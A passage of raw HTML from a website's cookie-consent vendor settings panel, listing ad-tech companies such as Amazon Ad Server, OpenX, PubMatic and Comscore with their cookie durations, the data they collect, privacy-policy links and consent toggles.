8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Rakuten Marketing LLC" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="60" id="fc-preference-slider-gvl-vendor-60" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Lumen Research Limited</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Browsing and interaction data, Non-precise location data</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="63" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Lumen Research Limited, View details" tabindex="0" data-vendor-id="63" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Lumen Research Limited, Privacy policy" tabindex="0" data-policy-link="https://lumen-research.com/privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-63"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Lumen Research Limited" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="63" id="fc-preference-slider-gvl-vendor-63" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Amazon Ad Server</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 396 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="68" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Amazon Ad Server, View details" tabindex="0" data-vendor-id="68" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="68" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Amazon Ad Server, Privacy policy" tabindex="0" data-policy-link="https://www.sizmek.com/privacy-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Amazon Ad Server" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="68"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-68"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Amazon Ad Server" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="68" id="fc-preference-slider-gvl-vendor-68" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>OpenX</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, Non-precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="69" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="OpenX, View details" tabindex="0" data-vendor-id="69" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="69" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="OpenX, Privacy policy" tabindex="0" data-policy-link="https://www.openx.com/legal/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, OpenX" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="69"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Yieldlab (Virtual Minds GmbH)</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 90 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="70" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Yieldlab (Virtual Minds GmbH), View details" tabindex="0" data-vendor-id="70" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="70" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Yieldlab (Virtual Minds GmbH), Privacy policy" tabindex="0" data-policy-link="https://yieldlab.com/privacy-platform/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Yieldlab (Virtual Minds GmbH)" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="70"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Roku Advertising Services</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 396 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="71" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Roku Advertising Services, View details" tabindex="0" data-vendor-id="71" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="71" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Roku Advertising Services, Privacy policy" tabindex="0" data-policy-link="https://docs.roku.com/published/userprivacypolicy/en/us" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Roku Advertising Services" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="71"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-71"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Roku Advertising Services" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="71" id="fc-preference-slider-gvl-vendor-71" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Nano Interactive Group Ltd.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: Device characteristics, Browsing and interaction data, Non-precise location data</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="72" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Nano Interactive Group Ltd., View details" tabindex="0" data-vendor-id="72" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Nano Interactive Group Ltd., Privacy policy" tabindex="0" data-policy-link="https://www.nanointeractive.com/privacy-statement/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Nano Interactive Group Ltd." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="72"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Simplifi Holdings LLC</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 366 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device identifiers, Precise location data</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="73" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Simplifi Holdings LLC, View details" tabindex="0" data-vendor-id="73" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Simplifi Holdings LLC, Privacy policy" tabindex="0" data-policy-link="https://simpli.fi/site-privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Simplifi Holdings LLC" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="73"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>PubMatic, Inc</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="76" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="PubMatic, Inc, View details" tabindex="0" data-vendor-id="76" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="76" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="PubMatic, Inc, Privacy policy" tabindex="0" data-policy-link="https://pubmatic.com/legal/privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, PubMatic, Inc" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="76"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-76"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, PubMatic, Inc" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="76" id="fc-preference-slider-gvl-vendor-76" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Comscore B.V.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 720 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="77" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Comscore B.V., View details" tabindex="0" data-vendor-id="77" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Comscore B.V., Privacy policy" tabindex="0" data-policy-link="https://www.scorecardresearch.com/privacy.aspx" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Comscore B.V." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="77"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Flashtalking</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 730 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="78" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Flashtalking, View details" tabindex="0" data-vendor-id="78" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Flashtalking, Privacy policy" tabindex="0" data-policy-link="https://www.flashtalking.com/privacypolicy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Flashtalking" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="78"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>PulsePoint, Inc.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="81" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="PulsePoint, Inc., View details" tabindex="0" data-vendor-id="81" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="PulsePoint, Inc., Privacy policy" tabindex="0" data-policy-link="https://pulsepoint.com/legal/platform-privacy-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, PulsePoint, Inc." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="81"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Smaato, Inc.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 21 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="82" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Smaato, Inc., View details" tabindex="0" data-vendor-id="82" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="82" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Smaato, Inc., Privacy policy" tabindex="0" data-policy-link="https://www.smaato.com/privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Smaato, Inc." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="82"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-82"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Smaato, Inc." aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="82" id="fc-preference-slider-gvl-vendor-82" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Semasio GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 366 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device identifiers, Browsing and interaction data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="84" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Semasio GmbH, View details" tabindex="0" data-vendor-id="84" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="84" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Semasio GmbH, Privacy policy" tabindex="0" data-policy-link="https://www.semasio.com/legal/semasio-privacy-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Semasio GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="84"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Crimtan Holdings Limited</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="85" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Crimtan Holdings Limited, View details" tabindex="0" data-vendor-id="85" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Crimtan Holdings Limited, Privacy policy" tabindex="0" data-policy-link="https://www.crimtan.com/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Crimtan Holdings Limited" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="85"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-85"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" 